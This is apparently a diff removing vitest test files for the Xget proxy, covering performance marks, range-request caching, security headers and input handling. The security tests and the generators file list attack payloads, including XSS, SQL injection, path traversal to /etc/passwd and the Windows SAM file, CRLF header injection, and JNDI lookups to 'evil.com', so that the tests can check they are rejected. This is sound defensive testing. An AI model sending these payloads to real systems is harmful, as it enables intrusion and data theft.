import { beforeEach, describe, expect, it, vi } from 'vitest';
// Mock PerformanceMonitor class for testing
class MockPerformanceMonitor {
constructor() {
this.startTime = Date.now();
this.marks = new Map();
}
/**
* Mark a performance measurement
* @param {string} name - Name of the mark
*/
mark(name) {
if (this.marks.has(name)) {
console.warn(`Mark with name ${name} already exists.`);
}
this.marks.set(name, Date.now() - this.startTime);
}
getMetrics() {
return Object.fromEntries(this.marks.entries());
}
}
describe('Performance Monitoring', () => {
/** @type {MockPerformanceMonitor} */
let monitor;
beforeEach(() => {
monitor = new MockPerformanceMonitor();
});
describe('PerformanceMonitor Class', () => {
it('should initialize with start time', () => {
expect(monitor.startTime).toBeDefined();
expect(typeof monitor.startTime).toBe('number');
});
it('should create timing marks', () => {
monitor.mark('test-mark');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('test-mark');
expect(typeof metrics['test-mark']).toBe('number');
});
it('should handle multiple marks', () => {
monitor.mark('mark1');
monitor.mark('mark2');
monitor.mark('mark3');
const metrics = monitor.getMetrics();
expect(Object.keys(metrics)).toHaveLength(3);
expect(metrics).toHaveProperty('mark1');
expect(metrics).toHaveProperty('mark2');
expect(metrics).toHaveProperty('mark3');
});
it('should warn on duplicate mark names', () => {
// Mock console.warn for this test
const originalWarn = console.warn;
const mockWarn = vi.fn();
console.warn = mockWarn;
monitor.mark('duplicate');
monitor.mark('duplicate');
expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.');
// Restore original console.warn
console.warn = originalWarn;
});
it('should return metrics as plain object', () => {
monitor.mark('test');
const metrics = monitor.getMetrics();
expect(metrics).toBeTypeOf('object');
expect(Array.isArray(metrics)).toBe(false);
});
it('should track elapsed time correctly', async () => {
monitor.mark('start');
// Wait a small amount of time
await new Promise(resolve => setTimeout(resolve, 10));
monitor.mark('end');
const metrics = monitor.getMetrics();
expect(metrics.end).toBeGreaterThan(metrics.start);
});
});
describe('Performance Metrics Validation', () => {
it('should produce serializable metrics', () => {
monitor.mark('request-start');
monitor.mark('proxy-start');
monitor.mark('proxy-end');
monitor.mark('request-end');
const metrics = monitor.getMetrics();
expect(() => JSON.stringify(metrics)).not.toThrow();
});
it('should have reasonable timing values', () => {
monitor.mark('test-mark');
const metrics = monitor.getMetrics();
const timing = metrics['test-mark'];
// Should be a positive number and reasonable (less than 1 second for this test)
expect(timing).toBeGreaterThanOrEqual(0);
expect(timing).toBeLessThan(1000);
});
it('should maintain chronological order', async () => {
monitor.mark('first');
await new Promise(resolve => setTimeout(resolve, 5));
monitor.mark('second');
await new Promise(resolve => setTimeout(resolve, 5));
monitor.mark('third');
const metrics = monitor.getMetrics();
expect(metrics.first).toBeLessThan(metrics.second);
expect(metrics.second).toBeLessThan(metrics.third);
});
});
describe('Common Performance Scenarios', () => {
it('should track request lifecycle', () => {
// Simulate typical request flow
monitor.mark('request-received');
monitor.mark('validation-complete');
monitor.mark('proxy-start');
monitor.mark('proxy-response');
monitor.mark('response-sent');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('request-received');
expect(metrics).toHaveProperty('validation-complete');
expect(metrics).toHaveProperty('proxy-start');
expect(metrics).toHaveProperty('proxy-response');
expect(metrics).toHaveProperty('response-sent');
});
it('should track cache operations', () => {
monitor.mark('cache-check-start');
monitor.mark('cache-miss');
monitor.mark('upstream-request');
monitor.mark('cache-store');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('cache-check-start');
expect(metrics).toHaveProperty('cache-miss');
expect(metrics).toHaveProperty('upstream-request');
expect(metrics).toHaveProperty('cache-store');
});
it('should track error scenarios', () => {
monitor.mark('request-start');
monitor.mark('error-occurred');
monitor.mark('error-handled');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('request-start');
expect(metrics).toHaveProperty('error-occurred');
expect(metrics).toHaveProperty('error-handled');
});
});
describe('Performance Thresholds', () => {
it('should identify slow operations', () => {
monitor.mark('operation-start');
// Simulate slow operation
const slowTiming = 5000; // 5 seconds
monitor.marks.set('operation-end', slowTiming);
const metrics = monitor.getMetrics();
const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0);
// Should identify as slow (> 1 second)
expect(operationTime).toBeGreaterThan(1000);
});
it('should identify fast operations', () => {
monitor.mark('fast-operation');
const metrics = monitor.getMetrics();
const timing = metrics['fast-operation'];
// Should be fast (< 100ms for this test)
expect(timing).toBeLessThan(100);
});
});
describe('Memory and Resource Usage', () => {
it('should not leak memory with many marks', () => {
const initialSize = monitor.marks.size;
// Add many marks
for (let i = 0; i < 1000; i++) {
monitor.mark(`mark-${i}`);
}
expect(monitor.marks.size).toBe(initialSize + 1000);
// Clear marks (if such method existed)
monitor.marks.clear();
expect(monitor.marks.size).toBe(0);
});
it('should handle concurrent mark operations', () => {
const promises = [];
for (let i = 0; i < 10; i++) {
promises.push(
new Promise((/** @type {(value?: unknown) => void} */ resolve) => {
setTimeout(() => {
monitor.mark(`concurrent-${i}`);
resolve();
}, Math.random() * 10);
})
);
}
return Promise.all(promises).then(() => {
const metrics = monitor.getMetrics();
expect(Object.keys(metrics)).toHaveLength(10);
});
});
});
});
-238
View File
@@ -1,238 +0,0 @@
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
/**
* Tests for Range Request Caching Strategy
*
* This test suite validates the new caching strategy that:
* 1. Only caches 200 responses (not 206)
* 2. Handles Range requests by caching full content first
* 3. Lets Cloudflare edge serve 206 responses from cached 200 content
* 4. Avoids compression for media files to ensure proper Range support
*/
describe('Range Request Caching Strategy', () => {
describe('Cache Behavior for Range Requests', () => {
it('should not attempt to cache 206 responses', async () => {
const testUrl = 'https://example.com/gh/test/repo/sample.pdf';
// Make a range request that might return 206
const response = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// The response should either be 200 (full content) or 206 (partial)
// But we should never get a cache error from trying to cache 206
expect([200, 206, 404]).toContain(response.status);
// Check performance metrics for any cache-related errors
const metrics = response.headers.get('X-Performance-Metrics');
if (metrics) {
const parsedMetrics = JSON.parse(metrics);
// Should not contain any cache put errors
const errorKeys = Object.keys(parsedMetrics).filter(
key => (key.includes('error') || key.includes('fail')) && key !== 'client_error'
);
expect(errorKeys).toHaveLength(0);
}
});
it('should cache full content when receiving 200 response', async () => {
const testUrl = 'https://example.com/gh/test/repo/document.pdf';
// First request - should cache the full content
const firstResponse = await SELF.fetch(testUrl);
if (firstResponse.status === 200) {
// Verify caching headers are set correctly
expect(firstResponse.headers.get('Cache-Control')).toContain('public');
expect(firstResponse.headers.get('Accept-Ranges')).toBe('bytes');
// Second request should hit cache
const secondResponse = await SELF.fetch(testUrl);
expect(secondResponse.status).toBe(200);
// Performance metrics should show cache hit
const metrics = secondResponse.headers.get('X-Performance-Metrics');
if (metrics) {
const parsedMetrics = JSON.parse(metrics);
expect(parsedMetrics).toHaveProperty('cache_hit');
}
}
});
it('should handle range requests after caching full content', async () => {
const testUrl = 'https://example.com/gh/test/repo/large-file.bin';
// First, cache the full content
const fullResponse = await SELF.fetch(testUrl);
if (fullResponse.status === 200) {
// Now make a range request - should leverage cached content
const rangeResponse = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=100-199'
}
});
// Should either return the requested range or full content
expect([200, 206]).toContain(rangeResponse.status);
if (rangeResponse.status === 206) {
expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();
expect(rangeResponse.headers.get('Content-Length')).toBe('100');
}
}
});
});
describe('Media File Handling', () => {
it('should avoid compression for media files', async () => {
const mediaTestCases = [
{ url: 'https://example.com/gh/test/repo/video.mp4', type: 'video' },
{ url: 'https://example.com/gh/test/repo/audio.mp3', type: 'audio' },
{ url: 'https://example.com/gh/test/repo/image.png', type: 'image' },
{ url: 'https://example.com/gh/test/repo/archive.zip', type: 'archive' }
];
for (const testCase of mediaTestCases) {
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
if (response.status === 200) {
// Media files should have proper range support headers
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
// Should not be compressed to ensure proper byte-range handling
const contentEncoding = response.headers.get('Content-Encoding');
if (contentEncoding) {
expect(['identity', null]).toContain(contentEncoding);
}
}
}
});
it('should send identity encoding for range requests on media files', async () => {
const testUrl = 'https://example.com/gh/test/repo/large-video.mp4';
const response = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// For media files with range requests, should not use compression
if ([200, 206].includes(response.status)) {
const contentEncoding = response.headers.get('Content-Encoding');
if (contentEncoding) {
expect(['identity', null]).toContain(contentEncoding);
}
}
});
});
describe('Cache Key Management', () => {
it('should use correct cache keys for range vs full requests', async () => {
const testUrl = 'https://example.com/gh/test/repo/test-document.pdf';
// Make a range request first
const rangeResponse1 = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-512'
}
});
// Make a full request
const fullResponse = await SELF.fetch(testUrl);
// Make another range request
const rangeResponse2 = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=512-1023'
}
});
// All requests should succeed
[rangeResponse1, fullResponse, rangeResponse2].forEach(response => {
expect([200, 206, 404]).toContain(response.status);
});
// Full response should have caching headers
if (fullResponse.status === 200) {
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
}
});
it('should handle Content-Length header properly', async () => {
const testUrl = 'https://example.com/gh/test/repo/sized-file.bin';
const response = await SELF.fetch(testUrl);
if (response.status === 200) {
// Should have Content-Length for proper range support
const contentLength = response.headers.get('Content-Length');
if (contentLength) {
expect(parseInt(contentLength, 10)).toBeGreaterThan(0);
}
// Should have Accept-Ranges header
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
}
});
});
describe('Performance Metrics', () => {
it('should track cache performance for range requests', async () => {
const testUrl = 'https://example.com/gh/test/repo/metrics-test.dat';
// First request
const response1 = await SELF.fetch(testUrl);
const metrics1 = response1.headers.get('X-Performance-Metrics');
if (response1.status === 200 && metrics1) {
const parsed1 = JSON.parse(metrics1);
expect(parsed1).toHaveProperty('start');
expect(parsed1).toHaveProperty('complete');
}
// Second request (should hit cache)
const response2 = await SELF.fetch(testUrl);
const metrics2 = response2.headers.get('X-Performance-Metrics');
if (response2.status === 200 && metrics2) {
const parsed2 = JSON.parse(metrics2);
expect(parsed2).toHaveProperty('cache_hit');
}
});
it('should track range-specific cache behavior', async () => {
const testUrl = 'https://example.com/gh/test/repo/range-metrics.bin';
// Cache full content first
await SELF.fetch(testUrl);
// Now make a range request
const rangeResponse = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
const metrics = rangeResponse.headers.get('X-Performance-Metrics');
if (metrics && [200, 206].includes(rangeResponse.status)) {
const parsed = JSON.parse(metrics);
// Should have timing information
expect(parsed).toHaveProperty('start');
// May have cache-related metrics
const cacheKeys = Object.keys(parsed).filter(key => key.includes('cache'));
// At least one cache-related metric should be present
expect(cacheKeys.length).toBeGreaterThanOrEqual(0);
}
});
});
});
-288
View File
@@ -1,288 +0,0 @@
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Security Features', () => {
describe('Security Headers', () => {
it('should include Strict-Transport-Security header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
const hsts = response.headers.get('Strict-Transport-Security');
expect(hsts).toBeTruthy();
expect(hsts).toContain('max-age=');
expect(hsts).toContain('includeSubDomains');
expect(hsts).toContain('preload');
});
it('should include X-Frame-Options header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
});
it('should include X-XSS-Protection header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
});
it('should include Content-Security-Policy header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
const csp = response.headers.get('Content-Security-Policy');
expect(csp).toBeTruthy();
expect(csp).toContain("default-src 'none'");
});
it('should include Referrer-Policy header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
});
it('should include Permissions-Policy header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
const permissionsPolicy = response.headers.get('Permissions-Policy');
expect(permissionsPolicy).toBeTruthy();
expect(permissionsPolicy).toContain('interest-cohort=()');
});
});
describe('HTTP Method Restrictions', () => {
it('should reject PATCH method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'PATCH'
});
expect(response.status).toBe(405);
});
it('should reject PUT method for non-Git requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'PUT'
});
expect(response.status).toBe(405);
});
it('should reject DELETE method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'DELETE'
});
expect(response.status).toBe(405);
});
it('should reject OPTIONS method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'OPTIONS'
});
expect(response.status).toBe(405);
});
});
describe('Path Validation', () => {
it('should reject paths with directory traversal attempts', async () => {
const maliciousPaths = [
'/gh/../../../etc/passwd',
'/gh/user/repo/../../../sensitive',
'/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd',
'/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
];
for (const path of maliciousPaths) {
const response = await SELF.fetch(`https://example.com${path}`, {
method: 'HEAD',
redirect: 'manual' // Don't follow redirects
});
// Some runtimes normalize plain `..` segments before the Worker sees them.
// Encoded traversal should still be rejected.
if (/%[0-9a-fA-F]{2}/.test(path)) {
expect(response.status).toBe(400);
} else {
expect(response.status).not.toBe(500);
}
}
}, 45000);
it('should reject extremely long paths', async () => {
const longPath = `/gh/${'a'.repeat(3000)}`;
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
});
it('should handle URL encoding safely', async () => {
const encodedPaths = [
'/gh/user/repo%20with%20spaces',
'/gh/user/repo%2Ffile.txt',
'/gh/user%40domain/repo'
];
for (const path of encodedPaths) {
const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
// Should handle encoded paths without security issues
expect(response.status).not.toBe(500);
}
}, 30000);
});
describe('Input Sanitization', () => {
it('should handle special characters in paths', async () => {
const specialPaths = [
'/gh/user/repo<script>alert(1)</script>',
"/gh/user/repo'; DROP TABLE users; --",
'/gh/user/repo${jndi:ldap://evil.com}',
'/gh/user/repo{{7*7}}'
];
for (const path of specialPaths) {
const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
// Should safely handle special characters
expect(response.status).not.toBe(500);
}
}, 30000);
it('should handle Unicode characters safely', async () => {
const unicodePaths = [
'/gh/所有者/存储库/文件.txt',
'/gh/user/repo/файл.txt',
'/gh/user/repo/ファイル.txt'
];
for (const path of unicodePaths) {
const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
// Should handle Unicode without issues
expect(response.status).not.toBe(500);
}
}, 20000);
});
describe('Request Header Validation', () => {
it('should handle malicious User-Agent headers', async () => {
const maliciousUserAgents = [
'<script>alert(1)</script>',
'Mozilla/5.0 ${jndi:ldap://evil.com}'
];
for (const userAgent of maliciousUserAgents) {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'HEAD',
headers: {
'User-Agent': userAgent
}
});
// Should handle malicious user agents safely
expect(response.status).not.toBe(500);
}
}, 20000);
it('should handle header injection attempts', async () => {
// Malformed headers should be rejected before the request is dispatched.
expect(() => {
new Request('https://example.com/gh/test/repo', {
headers: {
'X-Test': 'value\r\nX-Injected: malicious'
}
});
}).toThrow(/[Ii]nvalid|[Hh]eader/);
});
});
describe('Rate Limiting and DoS Protection', () => {
it('should handle concurrent requests gracefully', async () => {
const requests = Array(10)
.fill(null)
.map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));
const responses = await Promise.all(requests);
// All requests should be handled without errors
responses.forEach((/** @type {Response} */ response) => {
expect(response.status).not.toBe(500);
});
}, 30000);
it('should timeout long-running requests', async () => {
// This test would need to be implemented based on actual timeout behavior
// For now, we just verify the request doesn't hang indefinitely
const startTime = Date.now();
try {
await SELF.fetch('https://example.com/gh/test/very-large-file', {
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
});
} catch {
// Request should timeout or complete within reasonable time
const elapsed = Date.now() - startTime;
expect(elapsed).toBeLessThan(40000); // 40 seconds max
}
}, 45000);
});
describe('Error Information Disclosure', () => {
it('should not expose internal error details', async () => {
const response = await SELF.fetch('https://example.com/invalid-platform/test', {
redirect: 'manual' // Don't follow redirects
});
// Should return error or redirect
expect([400, 404, 302, 301]).toContain(response.status);
if (response.status >= 400) {
const body = await response.text();
// Should not expose internal paths, stack traces, or sensitive info
expect(body).not.toMatch(/\/[a-zA-Z]:[\\/]/); // Windows paths
expect(body).not.toMatch(/\/home\/[^/]+/); // Unix home paths
expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces
expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages
}
});
it('should provide generic error messages', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'TRACE',
redirect: 'manual'
});
// Should return error or redirect
expect([400, 404, 302, 301, 405, 501]).toContain(response.status);
});
});
describe('CORS Security', () => {
it('should handle CORS preflight requests securely', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://evil.com',
'Access-Control-Request-Method': 'GET',
'Access-Control-Request-Headers': 'X-Custom-Header'
}
});
// Should either reject OPTIONS or handle CORS securely
if (response.status === 200) {
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
// Should not blindly allow all origins for sensitive operations
expect(allowOrigin).not.toBe('https://evil.com');
}
});
});
describe('Content Type Security', () => {
it('should not execute uploaded content', async () => {
// Test that the service doesn't execute or interpret uploaded content
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
// Should serve content with appropriate headers, not execute it
const contentType = response.headers.get('Content-Type');
if (contentType) {
expect(contentType).not.toContain('text/html');
expect(contentType).not.toContain('application/javascript');
}
});
});
});
-75
View File
@@ -1,75 +0,0 @@
/**
* Mock HTTP response fixtures for testing
* Organized by platform with realistic response data
*/
export const MOCK_RESPONSES = {
github: {
packageJson: {
status: 200,
headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' },
body: JSON.stringify({
name: 'vscode',
version: '1.85.0',
description: 'Visual Studio Code'
})
},
readme: {
status: 200,
headers: { 'Content-Type': 'text/plain; charset=utf-8' },
body: '# Visual Studio Code\n\nCode editing. Redefined.'
},
gitInfoRefs: {
status: 200,
headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' },
body: '001e# service=git-upload-pack\n0000009144b8c8cf...'
}
},
npm: {
packageMetadata: {
status: 200,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
name: 'react',
version: '18.2.0',
description: 'React is a JavaScript library for building user interfaces.'
})
}
},
pypi: {
simpleIndex: {
status: 200,
headers: { 'Content-Type': 'text/html' },
body: '<!DOCTYPE html><html><head><title>Links for requests</title></head></html>'
}
},
errors: {
notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' },
badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' },
unauthorized: {
status: 401,
headers: { 'Content-Type': 'text/plain' },
body: 'Unauthorized'
},
internalServerError: {
status: 500,
headers: { 'Content-Type': 'text/plain' },
body: 'Internal Server Error'
}
}
};
/**
* Create a Response object from mock data
* @param {{body: string, status: number, headers?: Record<string, string>}} mockData - Mock response data
* @returns {Response} Response object
*/
export function createMockResponse(mockData) {
return new Response(mockData.body, {
status: mockData.status,
headers: mockData.headers
});
}
-61
View File
@@ -1,61 +0,0 @@
/**
* Custom assertions and validation helpers
*/
/**
* Validate response headers for security
* @param {Response} response - Response to validate
* @returns {{passed: boolean, missing: string[], present: string[]}} Validation results
*/
export function validateSecurityHeaders(response) {
const requiredHeaders = [
'Strict-Transport-Security',
'X-Frame-Options',
'X-XSS-Protection',
'Content-Security-Policy',
'Referrer-Policy'
];
const results = {
passed: true,
/** @type {string[]} */
missing: [],
/** @type {string[]} */
present: []
};
requiredHeaders.forEach(header => {
if (response.headers.has(header)) {
results.present.push(header);
} else {
results.missing.push(header);
results.passed = false;
}
});
return results;
}
/**
* Assert that a URL is valid
* @param {string} url - URL to validate
* @returns {boolean} True if valid
*/
export function isValidUrl(url) {
try {
new URL(url);
return true;
} catch {
return false;
}
}
/**
* Assert that response has security headers
* @param {Response} response - Response to check
* @returns {boolean} True if has all security headers
*/
export function hasSecurityHeaders(response) {
const validation = validateSecurityHeaders(response);
return validation.passed;
}
-122
View File
@@ -1,122 +0,0 @@
/**
* Test data generators
*/
/**
* Generate test URLs for different platforms
* @param {string} platform - Platform identifier (gh, gl, hf, etc.)
* @param {string} path - Resource path
* @returns {string} Complete test URL
*/
export function generateTestUrl(platform, path) {
const baseUrl = 'https://example.com';
return `${baseUrl}/${platform}/${path}`;
}
/**
* Common test URLs for different platforms
*/
export const TEST_URLS = {
github: {
file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
git: 'https://example.com/gh/microsoft/vscode.git'
},
gitlab: {
file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
git: 'https://example.com/gl/gitlab-org/gitlab.git'
},
huggingface: {
model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
},
npm: {
package: 'https://example.com/npm/react',
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
scoped: 'https://example.com/npm/@types/node',
npmPackage: 'https://example.com/npm/npm',
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
},
pypi: {
simple: 'https://example.com/pypi/simple/requests/',
package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
},
conda: {
main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
}
};
/**
* Security test payloads
*/
export const SECURITY_PAYLOADS = {
xss: [
'<script>alert(1)</script>',
`${'javascript'}:alert(1)`,
'"><script>alert(1)</script>',
"';alert(1);//"
],
pathTraversal: [
'../../../etc/passwd',
'..%2F..%2F..%2Fetc%2Fpasswd',
'..\\..\\..\\windows\\system32\\config\\sam',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
],
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
headerInjection: [
'value\r\nX-Injected: malicious',
'value\nX-Injected: malicious',
'value\r\n\r\n<script>alert(1)</script>'
]
};
/**
* Test data generators
*/
export const TestDataGenerator = {
/**
* Generate random string
* @param {number} length - String length
* @returns {string} Random string
*/
randomString(length = 10) {
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
let result = '';
for (let i = 0; i < length; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
},
/**
* Generate random GitHub repository path
* @returns {string} Repository path
*/
githubRepo() {
const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
const user = users[Math.floor(Math.random() * users.length)];
const repo = repos[Math.floor(Math.random() * repos.length)];
return `${user}/${repo}`;
},
/**
* Generate random file path
* @returns {string} File path
*/
filePath() {
const dirs = ['src', 'lib', 'test', 'docs', 'config'];
const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
const dir = dirs[Math.floor(Math.random() * dirs.length)];
const file = files[Math.floor(Math.random() * files.length)];
return `${dir}/${file}`;
}
};
-88
View File
@@ -1,88 +0,0 @@
/**
* Test helpers - centralized exports
*/
// Re-export all utilities
export * from './assertions.js';
export * from './generators.js';
export * from './mocks.js';
/**
* Performance test utilities
*/
export class PerformanceTestHelper {
constructor() {
/** @type {Array<{name: string, duration: number, timestamp: number}>} */
this.measurements = [];
}
/**
* Measure execution time of an async function
* @param {() => Promise<unknown>} fn - Async function to measure
* @param {string} name - Measurement name
* @returns {Promise<unknown>} Function result
*/
async measure(fn, name = 'operation') {
const start = performance.now();
const result = await fn();
const end = performance.now();
this.measurements.push({
name,
duration: end - start,
timestamp: Date.now()
});
return result;
}
/**
* Get all measurements
* @returns {Array<{name: string, duration: number, timestamp: number}>} Array of measurements
*/
getMeasurements() {
return [...this.measurements];
}
/**
* Get average duration for a specific measurement name
* @param {string} name - Measurement name
* @returns {number} Average duration in milliseconds
*/
getAverageDuration(name) {
const filtered = this.measurements.filter(m => m.name === name);
if (filtered.length === 0) {
return 0;
}
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
return total / filtered.length;
}
/**
* Clear all measurements
*/
clear() {
this.measurements = [];
}
}
/**
* Test timeout helper
* @param {number} ms - Timeout in milliseconds
* @returns {Promise<never>} Promise that rejects after timeout
*/
export function timeout(ms) {
return new Promise((_, reject) => {
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
});
}
/**
* Wait for a specified amount of time
* @param {number} ms - Time to wait in milliseconds
* @returns {Promise<void>} Promise that resolves after the specified time
*/
export function wait(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
-124
View File
@@ -1,124 +0,0 @@
/**
* Mock creation utilities for tests
*/
/**
* Create a mock request with default options
* @param {string} url - Request URL
* @param {object} options - Request options
* @returns {Request} Mock request object
*/
export function createMockRequest(url, options = {}) {
const defaultOptions = {
method: 'GET',
headers: {
'User-Agent': 'Mozilla/5.0 (Test)',
Accept: '*/*'
}
};
return new Request(url, { ...defaultOptions, ...options });
}
/**
* Create a mock response with default options
* @param {string} body - Response body
* @param {object} options - Response options
* @returns {Response} Mock response object
*/
export function createMockResponse(body = 'OK', options = {}) {
const defaultOptions = {
status: 200,
statusText: 'OK',
headers: {
'Content-Type': 'text/plain'
}
};
return new Response(body, { ...defaultOptions, ...options });
}
/**
* Create a Git request for testing
* @param {string} url - Git repository URL
* @param {string} service - Git service (upload-pack or receive-pack)
* @returns {Request} Git request object
*/
export function createGitRequest(url, service = 'git-upload-pack') {
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
return new Request(gitUrl, {
method: service === 'git-upload-pack' ? 'GET' : 'POST',
headers: {
'User-Agent': 'git/2.34.1',
'Git-Protocol': 'version=2',
...(service !== 'git-upload-pack' && {
'Content-Type': `application/x-${service}-request`
})
}
});
}
/**
* Create a Docker registry request
* @param {string} url - Request URL
* @param {{headers?: Record<string, string>}} options - Request options
* @returns {Request} Docker request object
*/
export function createDockerRequest(url, options = {}) {
return new Request(url, {
method: 'GET',
headers: {
'User-Agent': 'docker/24.0.0',
Accept: 'application/vnd.docker.distribution.manifest.v2+json',
...options.headers
},
...options
});
}
/**
* Mock fetch function for testing
* @param {string} url - Request URL
* @param {object} _options - Fetch options
* @returns {Promise<Response>} Mock response
*/
export function mockFetch(url, _options = {}) {
return new Promise(resolve => {
setTimeout(() => {
if (url.includes('error')) {
resolve(createMockResponse('Server Error', { status: 500 }));
} else if (url.includes('notfound')) {
resolve(createMockResponse('Not Found', { status: 404 }));
} else {
resolve(createMockResponse('Mock Response', { status: 200 }));
}
}, 10);
});
}
/**
* Create a mock npm registry response
* @param {string} packageName - Package name
* @param {string} version - Package version
* @returns {object} Mock npm registry response
*/
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
return {
name: packageName,
versions: {
[version]: {
name: packageName,
version,
dist: {
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
shasum: 'mock-shasum',
integrity: 'mock-integrity'
}
}
},
'dist-tags': {
latest: version
}
};
}
-8
View File
@@ -1,8 +0,0 @@
/**
* Test utilities - backward compatibility wrapper
* This file maintains backward compatibility with existing tests
* by re-exporting from the new modular structure
*/
// Re-export everything from the new modular helpers
export * from './index.js';
-281
View File
@@ -1,281 +0,0 @@
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Xget Core Functionality', () => {
describe('Basic Request Handling', () => {
it('should redirect root path to homepage', async () => {
const response = await SELF.fetch('https://example.com/', { redirect: 'manual' });
expect(response.status).toBe(302);
expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
});
it('should redirect platform prefix without path to homepage', async () => {
// Test with /gh (no trailing slash)
const response1 = await SELF.fetch('https://example.com/gh', { redirect: 'manual' });
expect(response1.status).toBe(302);
expect(response1.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
// Test with /gh/ (with trailing slash)
const response2 = await SELF.fetch('https://example.com/gh/', { redirect: 'manual' });
expect(response2.status).toBe(302);
expect(response2.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
// Test with multi-part platform prefix (e.g., /ip/openai)
const response3 = await SELF.fetch('https://example.com/ip/openai', { redirect: 'manual' });
expect(response3.status).toBe(302);
expect(response3.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
});
